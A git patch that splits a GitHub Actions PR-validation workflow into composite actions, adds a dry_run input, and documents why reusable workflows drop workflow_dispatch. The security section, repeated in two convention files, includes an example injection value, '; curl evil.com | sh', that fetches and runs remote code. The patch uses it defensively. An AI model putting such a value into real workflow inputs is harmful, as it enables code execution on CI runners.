From 0e17a8af11ac123de8294deb58261b1121299eee Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Tue, 24 Mar 2026 15:56:57 -0300 Subject: [PATCH 01/21] refactor(pr-validation): modularize workflow into composites under src/validate/ Extract all inline business logic from pr-validation.yml into 7 reusable composite actions under src/validate/. Add dry_run input, fix script injection risks (use env vars instead of direct interpolation), fix notify ref for external callers, and update conventions to prohibit workflow_dispatch on reusable workflows due to injection risk. --- .claude/commands/gha.md | 64 +++- .claude/commands/workflow.md | 64 +++- .github/labels.yml | 4 + .github/workflows/pr-validation.yml | 324 ++++---------------- docs/pr-validation-workflow.md | 368 ----------------------- docs/pr-validation.md | 199 ++++++++++++ src/validate/pr-changelog/README.md | 49 +++ src/validate/pr-changelog/action.yml | 55 ++++ src/validate/pr-description/README.md | 36 +++ src/validate/pr-description/action.yml | 49 +++ src/validate/pr-labels/README.md | 41 +++ src/validate/pr-labels/action.yml | 21 ++ src/validate/pr-metadata/README.md | 34 +++ src/validate/pr-metadata/action.yml | 42 +++ src/validate/pr-size/README.md | 58 ++++ src/validate/pr-size/action.yml | 99 ++++++ src/validate/pr-source-branch/README.md | 54 ++++ src/validate/pr-source-branch/action.yml | 79 +++++ src/validate/pr-title/README.md | 53 ++++ src/validate/pr-title/action.yml | 47 +++ 20 files changed, 1094 insertions(+), 646 deletions(-) delete mode 100644 docs/pr-validation-workflow.md create mode 100644 docs/pr-validation.md create mode 100644 src/validate/pr-changelog/README.md create mode 100644 src/validate/pr-changelog/action.yml create mode 100644 src/validate/pr-description/README.md create mode 100644 src/validate/pr-description/action.yml create mode 100644 src/validate/pr-labels/README.md create mode 100644 src/validate/pr-labels/action.yml create mode 100644 src/validate/pr-metadata/README.md create mode 100644 src/validate/pr-metadata/action.yml create mode 100644 src/validate/pr-size/README.md create mode 100644 src/validate/pr-size/action.yml create mode 100644 src/validate/pr-source-branch/README.md create mode 100644 src/validate/pr-source-branch/action.yml create mode 100644 src/validate/pr-title/README.md create mode 100644 src/validate/pr-title/action.yml diff --git a/.claude/commands/gha.md b/.claude/commands/gha.md index 95d82653..08e1da82 100644 --- a/.claude/commands/gha.md +++ b/.claude/commands/gha.md @@ -223,7 +223,7 @@ runs-on: self-hosted Every reusable workflow must: - support `workflow_call` (for external callers) -- support `workflow_dispatch` (for manual testing) +- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch)) - expose explicit `inputs` — never rely on implicit context - **always include a `dry_run` input** (`type: boolean`, `default: false`) @@ -242,15 +242,6 @@ on: secrets: DEPLOY_TOKEN: required: true - workflow_dispatch: - inputs: - environment: - required: true - type: string - dry_run: - description: Preview changes without applying them - type: boolean - default: false ``` ## Step section titles @@ -476,6 +467,59 @@ uses: some-action/tool@main - Never print secrets via `echo`, env dumps, or step summaries - Complex conditional logic belongs in the workflow, not in composites +### Script injection & `workflow_dispatch` + +`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context. + +**Why reusable workflows must NOT have `workflow_dispatch`:** + +1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands. +2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value. +3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`. + +```yaml +# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch +on: + workflow_call: + inputs: + environment: + type: string + workflow_dispatch: + inputs: + environment: # string — attacker can inject: "; curl evil.com | sh" + type: string + +# ✅ Reusable workflow — workflow_call only +on: + workflow_call: + inputs: + environment: + type: string + +# ✅ self-* entrypoint provides the manual trigger with safe defaults +name: Self — Deploy +on: + workflow_dispatch: + inputs: + environment: + type: choice # choice, not free-text — no injection + options: [staging, production] +jobs: + deploy: + uses: ./.github/workflows/deploy.yml + with: + environment: ${{ inputs.environment }} + secrets: inherit +``` + +**When `workflow_dispatch` is allowed on a reusable workflow:** + +Only when **all** of the following are true: +- The workflow is **not consumed by external repos** (internal-only) +- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`** +- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions +- The decision is documented with a `# Security: workflow_dispatch approved — ` comment + --- # Composite Actions — Rules & Conventions diff --git a/.claude/commands/workflow.md b/.claude/commands/workflow.md index cd073df4..6b8f01b8 100644 --- a/.claude/commands/workflow.md +++ b/.claude/commands/workflow.md @@ -114,7 +114,7 @@ runs-on: self-hosted Every reusable workflow must: - support `workflow_call` (for external callers) -- support `workflow_dispatch` (for manual testing) +- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch)) - expose explicit `inputs` — never rely on implicit context - **always include a `dry_run` input** (`type: boolean`, `default: false`) @@ -133,15 +133,6 @@ on: secrets: DEPLOY_TOKEN: required: true - workflow_dispatch: - inputs: - environment: - required: true - type: string - dry_run: - description: Preview changes without applying them - type: boolean - default: false ``` ## Configurability — expose composite toggles as workflow inputs @@ -350,6 +341,59 @@ uses: some-action/tool@main - Never print secrets via `echo`, env dumps, or step summaries - Complex conditional logic belongs in the workflow, not in composites +### Script injection & `workflow_dispatch` + +`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context. + +**Why reusable workflows must NOT have `workflow_dispatch`:** + +1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands. +2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value. +3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`. + +```yaml +# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch +on: + workflow_call: + inputs: + environment: + type: string + workflow_dispatch: + inputs: + environment: # string — attacker can inject: "; curl evil.com | sh" + type: string + +# ✅ Reusable workflow — workflow_call only +on: + workflow_call: + inputs: + environment: + type: string + +# ✅ self-* entrypoint provides the manual trigger with safe defaults +name: Self — Deploy +on: + workflow_dispatch: + inputs: + environment: + type: choice # choice, not free-text — no injection + options: [staging, production] +jobs: + deploy: + uses: ./.github/workflows/deploy.yml + with: + environment: ${{ inputs.environment }} + secrets: inherit +``` + +**When `workflow_dispatch` is allowed on a reusable workflow:** + +Only when **all** of the following are true: +- The workflow is **not consumed by external repos** (internal-only) +- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`** +- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions +- The decision is documented with a `# Security: workflow_dispatch approved — ` comment + ### Reserved names — never use as custom secret or input names Never declare secrets or inputs using GitHub's reserved prefixes — they break jobs silently: diff --git a/.github/labels.yml b/.github/labels.yml index 4a6a6cf1..8035f581 100644 --- a/.github/labels.yml +++ b/.github/labels.yml @@ -91,3 +91,7 @@ - name: lint color: "7c3aed" description: Changes to linting and code quality checks + +- name: validate + color: "1d76db" + description: Changes to PR validation composite actions (src/validate/) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index e1fe5cce..12c6df4c 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -10,6 +10,11 @@ on: description: 'GitHub runner type to use' type: string default: 'blacksmith-4vcpu-ubuntu-2404' + dry_run: + description: Preview validations without posting comments or labels + required: false + type: boolean + default: false pr_title_types: description: 'Allowed commit types (pipe-separated)' type: string @@ -61,6 +66,11 @@ on: description: 'Target branches that require source branch validation (pipe-separated)' type: string default: 'main' + secrets: + MANAGE_TOKEN: + required: false + SLACK_WEBHOOK_URL: + required: false permissions: contents: read @@ -68,108 +78,41 @@ permissions: issues: write jobs: - skip-if-draft: - name: Skip if Draft - runs-on: ${{ inputs.runner_type }} - outputs: - should_skip: ${{ steps.check.outputs.should_skip }} - steps: - - name: Check if draft - id: check - run: | - if [ "${{ github.event.pull_request.draft }}" = "true" ]; then - echo "should_skip=true" >> $GITHUB_OUTPUT - else - echo "should_skip=false" >> $GITHUB_OUTPUT - fi - + # ----------------- Source Branch Validation ----------------- pr-source-branch: name: Validate Source Branch runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.enforce_source_branches + if: github.event.pull_request.draft != true && inputs.enforce_source_branches steps: - - name: Check source branch - id: check_branch - uses: actions/github-script@v8 + - name: Validate source branch + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const sourceBranch = context.payload.pull_request.head.ref; - const targetBranch = context.payload.pull_request.base.ref; - const allowedBranches = '${{ inputs.allowed_source_branches }}'.split('|').map(b => b.trim()); - const targetBranchesForCheck = '${{ inputs.target_branches_for_source_check }}'.split('|').map(b => b.trim()); - - // Check if this target branch requires source validation - if (!targetBranchesForCheck.includes(targetBranch)) { - console.log(`Target branch '${targetBranch}' does not require source branch validation`); - return; - } - - console.log(`Checking if source branch '${sourceBranch}' is allowed for target '${targetBranch}'`); - console.log(`Allowed patterns: ${allowedBranches.join(', ')}`); - - // Check if source branch matches any allowed pattern - let isAllowed = false; - for (const pattern of allowedBranches) { - if (pattern.endsWith('/*')) { - // Prefix match (e.g., hotfix/*) - const prefix = pattern.slice(0, -1); - if (sourceBranch.startsWith(prefix)) { - isAllowed = true; - break; - } - } else if (pattern === sourceBranch) { - // Exact match - isAllowed = true; - break; - } - } - - if (!isAllowed) { - // Add REQUEST_CHANGES review - const message = `⚠️ **Invalid Source Branch**\n\nPull requests to **${targetBranch}** can only come from:\n${allowedBranches.map(b => `- \`${b}\``).join('\n')}\n\nYour source branch: \`${sourceBranch}\`\n\nPlease **change the base branch** or create a PR from an allowed branch.`; - - await github.rest.pulls.createReview({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: context.issue.number, - body: message, - event: 'REQUEST_CHANGES' - }); - - core.setFailed(`Source branch '${sourceBranch}' is not allowed for PRs to '${targetBranch}'`); - } else { - console.log(`✅ Source branch '${sourceBranch}' is allowed`); - } + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + allowed-branches: ${{ inputs.allowed_source_branches }} + target-branches: ${{ inputs.target_branches_for_source_check }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + # ----------------- PR Title Validation ----------------- pr-title: name: Validate PR Title runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + if: github.event.pull_request.draft != true steps: - - name: Check PR title format - uses: amannn/action-semantic-pull-request@v6 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + - name: Validate PR title format + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@develop with: + github-token: ${{ github.token }} types: ${{ inputs.pr_title_types }} scopes: ${{ inputs.pr_title_scopes }} - requireScope: ${{ inputs.require_scope }} - subjectPattern: ^[a-z].+$ - subjectPatternError: | - The subject "{subject}" found in the pull request title "{title}" - didn't match the configured pattern. Please ensure that the subject - starts with a lowercase character. + require-scope: ${{ inputs.require_scope && 'true' || 'false' }} + # ----------------- PR Size Check ----------------- pr-size: name: Check PR Size runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + if: github.event.pull_request.draft != true steps: - name: Checkout code @@ -178,113 +121,30 @@ jobs: fetch-depth: 0 - name: Check PR size - id: size - run: | - # Get changed lines - CHANGED_LINES=$(git diff --shortstat origin/${{ github.base_ref }}...HEAD | \ - awk '{print $4+$6}') - echo "changed_lines=$CHANGED_LINES" >> $GITHUB_OUTPUT - - # Set size label - if [ "$CHANGED_LINES" -lt 50 ]; then - SIZE="XS" - elif [ "$CHANGED_LINES" -lt 200 ]; then - SIZE="S" - elif [ "$CHANGED_LINES" -lt 500 ]; then - SIZE="M" - elif [ "$CHANGED_LINES" -lt 1000 ]; then - SIZE="L" - else - SIZE="XL" - fi - echo "size=$SIZE" >> $GITHUB_OUTPUT - - - name: Add size label - uses: actions/github-script@v8 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const size = '${{ steps.size.outputs.size }}'; - const labels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; - - // Remove existing size labels - for (const label of labels) { - try { - await github.rest.issues.removeLabel({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - name: label - }); - } catch (error) { - // Label doesn't exist, ignore - } - } - - // Add new size label - await github.rest.issues.addLabels({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - labels: [`size/${size}`] - }); - - - name: Comment on large PR - if: steps.size.outputs.size == 'XL' - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: `This PR is very large (${context.payload.pull_request.changed_files} files, ${{ steps.size.outputs.changed_lines }} lines changed). Consider breaking it into smaller PRs for easier review.` - }); + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + base-ref: ${{ github.base_ref }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + # ----------------- PR Description Check ----------------- pr-description: name: Check PR Description runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + if: github.event.pull_request.draft != true steps: - - name: Check description length - uses: actions/github-script@v8 + - name: Validate PR description + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const body = context.payload.pull_request.body || ''; - const minLength = ${{ inputs.min_description_length }}; - - if (body.length < minLength) { - core.setFailed(`PR description is too short (${body.length} chars). Please provide a detailed description (minimum ${minLength} chars).`); - } - - - name: Check for required sections - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const body = context.payload.pull_request.body || ''; - const requiredSections = ['Description', 'Type of Change']; - const missingSections = []; - - for (const section of requiredSections) { - if (!body.includes(section)) { - missingSections.push(section); - } - } - - if (missingSections.length > 0) { - core.warning(`PR description is missing recommended sections: ${missingSections.join(', ')}`); - } + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + min-length: ${{ inputs.min_description_length }} + # ----------------- Auto-label PR ----------------- pr-labels: name: Auto-label PR runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.enable_auto_labeler + if: github.event.pull_request.draft != true && inputs.enable_auto_labeler && !inputs.dry_run steps: - name: Checkout code @@ -293,61 +153,28 @@ jobs: fetch-depth: 0 - name: Auto-label based on files - uses: actions/labeler@v6 - with: - repo-token: ${{ secrets.GITHUB_TOKEN }} - configuration-path: ${{ inputs.labeler_config_path }} - sync-labels: true - - pr-assignee: - name: Check Assignee - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' - - steps: - - name: Check for assignee - uses: actions/github-script@v8 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const pr = context.payload.pull_request; - if (pr.assignees.length === 0) { - core.warning('This PR has no assignees. Consider assigning someone to review.'); - } + github-token: ${{ github.token }} + config-path: ${{ inputs.labeler_config_path }} - pr-linked-issues: - name: Check Linked Issues + # ----------------- PR Metadata Check ----------------- + pr-metadata: + name: Check PR Metadata runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + if: github.event.pull_request.draft != true steps: - - name: Check for linked issues - uses: actions/github-script@v8 + - name: Check assignee and linked issues + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const body = context.payload.pull_request.body || ''; - const issueKeywords = ['closes', 'fixes', 'resolves', 'relates to']; - - let hasLinkedIssue = false; - for (const keyword of issueKeywords) { - if (body.toLowerCase().includes(keyword)) { - hasLinkedIssue = true; - break; - } - } - - if (!hasLinkedIssue) { - core.warning('This PR does not appear to be linked to any issues. Consider linking related issues using keywords like "Closes #123" or "Fixes #456".'); - } + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + # ----------------- Changelog Check ----------------- pr-changelog: name: Check Changelog Update runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.check_changelog + if: github.event.pull_request.draft != true && inputs.check_changelog steps: - name: Checkout code @@ -355,46 +182,25 @@ jobs: with: fetch-depth: 0 - - name: Check if CHANGELOG updated - id: changelog - run: | - if git diff --name-only origin/${{ github.base_ref }}...HEAD | grep -q "CHANGELOG.md"; then - echo "updated=true" >> $GITHUB_OUTPUT - else - echo "updated=false" >> $GITHUB_OUTPUT - fi - - - name: Comment if CHANGELOG not updated - if: steps.changelog.outputs.updated == 'false' - uses: actions/github-script@v8 + - name: Check changelog + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@develop with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const labels = context.payload.pull_request.labels.map(l => l.name); - - // Skip for certain labels - if (labels.includes('skip-changelog') || labels.includes('dependencies')) { - return; - } - - github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: 'Consider updating CHANGELOG.md to document this change. If this change doesn\'t need a changelog entry, add the `skip-changelog` label.' - }); + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + base-ref: ${{ github.base_ref }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + # ----------------- PR Checks Summary ----------------- pr-checks-summary: name: PR Checks Summary runs-on: ${{ inputs.runner_type }} - needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-assignee, pr-linked-issues, pr-changelog] + needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog] if: always() steps: - name: Summary uses: actions/github-script@v8 with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} script: | const checks = { 'Source Branch': '${{ needs.pr-source-branch.result }}', @@ -402,12 +208,14 @@ jobs: 'PR Size': '${{ needs.pr-size.result }}', 'PR Description': '${{ needs.pr-description.result }}', 'Auto-label': '${{ needs.pr-labels.result }}', - 'Assignee Check': '${{ needs.pr-assignee.result }}', - 'Linked Issues': '${{ needs.pr-linked-issues.result }}', + 'Metadata': '${{ needs.pr-metadata.result }}', 'Changelog': '${{ needs.pr-changelog.result }}' }; let summary = '## PR Checks Summary\n\n'; + if ('${{ inputs.dry_run }}' === 'true') { + summary += '> **DRY RUN** — no comments, labels, or reviews were posted\n\n'; + } for (const [check, result] of Object.entries(checks)) { const icon = result === 'success' ? '✅' : result === 'failure' ? '❌' : '⚠️'; summary += `${icon} ${check}: ${result}\n`; @@ -416,12 +224,12 @@ jobs: core.summary.addRaw(summary); await core.summary.write(); - # Slack notification + # ----------------- Slack Notification ----------------- notify: name: Notify - needs: [skip-if-draft, pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-assignee, pr-linked-issues, pr-changelog, pr-checks-summary] - if: always() && needs.skip-if-draft.outputs.should_skip != 'true' - uses: ./.github/workflows/slack-notify.yml + needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog, pr-checks-summary] + if: always() && github.event.pull_request.draft != true && !inputs.dry_run + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@develop with: status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" diff --git a/docs/pr-validation-workflow.md b/docs/pr-validation-workflow.md deleted file mode 100644 index 988503bf..00000000 --- a/docs/pr-validation-workflow.md +++ /dev/null @@ -1,368 +0,0 @@ -# PR Validation Workflow - -Comprehensive pull request validation workflow that enforces best practices, coding standards, and project conventions. Automatically checks PR title format, size, description quality, and ensures proper documentation. - -## Features - -- **Semantic PR titles** - Enforces conventional commits format -- **PR size tracking** - Automatic labeling (XS, S, M, L, XL) -- **Description quality** - Minimum length and required sections -- **Auto-labeling** - Based on changed files -- **Assignee checks** - Warns if no reviewer assigned -- **Issue linking** - Encourages linking to related issues -- **Changelog tracking** - Reminds to update CHANGELOG.md -- **Draft PR support** - Skips validations for draft PRs -- **Summary report** - Aggregated validation status -- **Source branch validation** - Enforce PRs to protected branches come from specific source branches - -## Usage - -### Basic Usage - -```yaml -name: PR Validation - -on: - pull_request: - branches: [develop, release-candidate, main] - types: [opened, synchronize, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 -``` - -### Custom Configuration - -```yaml -name: PR Validation - -on: - pull_request: - branches: [develop, release-candidate, main] - types: [opened, synchronize, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_types: | - feat - fix - docs - refactor - test - chore - pr_title_scopes: | - api - cli - auth - config - require_scope: true - min_description_length: 100 - check_changelog: true - enable_auto_labeler: true - secrets: inherit -``` - -### With Custom Scopes - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_scopes: | - auth - ledger - config - client - kubectl - output - cli - deps - ci - release - require_scope: false -``` - -## Inputs - -| Input | Type | Default | Description | -|-------|------|---------|-------------| -| `runner_type` | string | `firmino-lxc-runners` | GitHub runner type | -| `pr_title_types` | string | (see below) | Allowed commit types (pipe-separated) | -| `pr_title_scopes` | string | `''` | Allowed scopes (pipe-separated, empty = any) | -| `require_scope` | boolean | `false` | Require scope in PR title | -| `min_description_length` | number | `50` | Minimum PR description length | -| `check_changelog` | boolean | `true` | Check if CHANGELOG.md is updated | -| `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | -| `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | -| `enforce_source_branches` | boolean | `false` | Enforce PRs to protected branches come from specific source branches | -| `allowed_source_branches` | string | `develop\|release-candidate\|hotfix/*` | Allowed source branches (pipe-separated, supports `*` wildcard) | -| `target_branches_for_source_check` | string | `main` | Target branches that require source branch validation | - -### Default PR Title Types - -``` -feat -fix -docs -style -refactor -perf -test -chore -ci -build -revert -``` - -## Secrets - -### Optional - -| Secret | Description | -|--------|-------------| -| `github_token` | GitHub token for API operations (labeling, commenting, etc.). Defaults to `GITHUB_TOKEN` if not provided. Required for all PR validation actions including posting comments, adding labels, and updating PR status. | - -## Jobs - -### skip-if-draft -Determines if PR is draft and sets flag to skip other jobs. - -### pr-source-branch -Validates that PRs to protected branches (e.g., `main`) come from allowed source branches. Supports: -- Exact branch names: `develop`, `release-candidate` -- Prefix patterns: `hotfix/*` matches `hotfix/fix-login` - -### pr-title -Validates PR title follows semantic commit format. - -### pr-size -Calculates PR size and adds automatic size label (XS, S, M, L, XL). - -### pr-description -Checks description length and recommended sections. - -### pr-labels -Automatically adds labels based on changed files (requires labeler config). - -### pr-assignee -Warns if no assignees are set on the PR. - -### pr-linked-issues -Warns if PR doesn't link to any issues. - -### pr-changelog -Checks if CHANGELOG.md was updated and comments if not. - -### pr-checks-summary -Aggregates all check results into a summary report. - -## PR Title Format - -The workflow enforces semantic commit format: - -``` -[optional scope]: -``` - -**Examples:** -- `feat: add user authentication` -- `fix(api): resolve timeout issue` -- `docs: update installation guide` -- `refactor(cli): simplify command structure` - -**Invalid:** -- `Add feature` (missing type) -- `feat: Add feature` (capital letter in description) -- `feat add feature` (missing colon) - -## PR Size Labels - -Automatically added based on lines changed: - -| Lines Changed | Label | -|---------------|-------| -| < 50 | `size/XS` | -| 50-199 | `size/S` | -| 200-499 | `size/M` | -| 500-999 | `size/L` | -| ≥ 1000 | `size/XL` | - -Large PRs (XL) receive a comment suggesting to break into smaller PRs. - -## Auto-labeling - -Requires a `.github/labeler.yml` configuration file in your repository: - -```yaml -# Example labeler.yml -auth: - - changed-files: - - any-glob-to-any-file: 'internal/auth/**/*' - - any-glob-to-any-file: 'pkg/auth/**/*' - -api: - - changed-files: - - any-glob-to-any-file: 'api/**/*' - -documentation: - - changed-files: - - any-glob-to-any-file: 'docs/**/*' - - any-glob-to-any-file: '**/*.md' - -tests: - - changed-files: - - any-glob-to-any-file: '**/*_test.go' -``` - -## Draft PR Behavior - -When a PR is in draft mode: -- All validation checks are skipped -- No comments or labels are added -- Checks run automatically when PR is marked ready for review - -## Changelog Checking - -The workflow checks if `CHANGELOG.md` was updated. To skip the check: -- Add `skip-changelog` label -- Add `dependencies` label (auto-added by Dependabot) - -## Required Sections - -The workflow recommends including these sections in PR description: -- **Description** - What changes were made -- **Type of Change** - Feature, bug fix, etc. - -## Linked Issues - -Encourages linking PRs to issues using keywords: -- `Closes #123` -- `Fixes #456` -- `Resolves #789` -- `Relates to #101` - -## Example Configurations - -### Minimal (Defaults) - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 -``` - -### Strict Validation - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - require_scope: true - min_description_length: 100 - check_changelog: true -``` - -### Without Auto-labeling - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - enable_auto_labeler: false -``` - -### With Source Branch Validation - -Enforce that PRs to `main` only come from `develop`, `release-candidate`, or `hotfix/*` branches: - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - enforce_source_branches: true - allowed_source_branches: 'develop|release-candidate|hotfix/*' - target_branches_for_source_check: 'main' - secrets: inherit -``` - -### Custom Types Only - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_types: | - feature - bugfix - hotfix -``` - -## Troubleshooting - -### PR Title Validation Fails - -**Issue**: PR title doesn't match expected format - -**Solution**: Ensure title follows `type(scope): description` format: -- Type must be from allowed list -- Description must start with lowercase -- Colon and space are required - -### Auto-labeling Not Working - -**Issue**: Labels not added automatically - -**Solution**: -1. Ensure `.github/labeler.yml` exists -2. Check file paths in labeler config match changed files -3. Verify `enable_auto_labeler` is `true` - -### Changelog Check Too Strict - -**Issue**: Always reminded to update CHANGELOG - -**Solution**: Add `skip-changelog` label to PR or include `dependencies` in labels - -### Size Label Not Updated - -**Issue**: Size label doesn't reflect current PR size - -**Solution**: Close and reopen PR, or make a new commit to trigger workflow - -## Best Practices - -1. Use semantic commit format consistently across all PRs -2. Keep PRs small (< 500 lines) for easier review -3. Always link PRs to related issues -4. Update CHANGELOG.md for user-facing changes -5. Add detailed PR descriptions (minimum 50 characters) -6. Assign reviewers before requesting review - -## Related Workflows - -- [Go CI](./go-ci-workflow.md) - Continuous integration testing -- [Go Security](./go-security-workflow.md) - Security scanning -- [PR Security Scan](./pr-security-scan-workflow.md) - Security scanning for PRs - ---- - -**Last Updated:** 2025-12-09 -**Version:** 1.1.0 diff --git a/docs/pr-validation.md b/docs/pr-validation.md new file mode 100644 index 00000000..e3d1226f --- /dev/null +++ b/docs/pr-validation.md @@ -0,0 +1,199 @@ + + + + + +
Lerian

pr-validation

+ +Comprehensive pull request validation workflow that enforces best practices, coding standards, and project conventions. Automatically checks PR title format, size, description quality, and ensures proper documentation. + +## Features + +- **Semantic PR titles** — Enforces conventional commits format +- **PR size tracking** — Automatic labeling (XS, S, M, L, XL) +- **Description quality** — Minimum length and required sections +- **Auto-labeling** — Based on changed files +- **Metadata checks** — Warns if no assignee or linked issues +- **Changelog tracking** — Reminds to update CHANGELOG.md +- **Draft PR support** — Skips validations for draft PRs +- **Source branch validation** — Enforce PRs to protected branches come from specific source branches +- **Dry run mode** — Preview validations without posting comments or labels +- **Summary report** — Aggregated validation status + +## Architecture + +``` +pr-validation.yml (reusable workflow) + ├── src/validate/pr-source-branch (source branch check) + ├── src/validate/pr-title (semantic title check) + ├── src/validate/pr-size (size calculation + labeling) + ├── src/validate/pr-description (description quality) + ├── src/validate/pr-labels (auto-label by files) + ├── src/validate/pr-metadata (assignee + linked issues) + ├── src/validate/pr-changelog (changelog check) + └── slack-notify.yml (optional notification) +``` + +## Usage + +### Basic Usage + +```yaml +name: PR Validation + +on: + pull_request: + branches: [develop, release-candidate, main] + types: [opened, synchronize, reopened, ready_for_review] + +permissions: + contents: read + pull-requests: write + issues: write + +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + secrets: inherit +``` + +### Custom Configuration + +```yaml 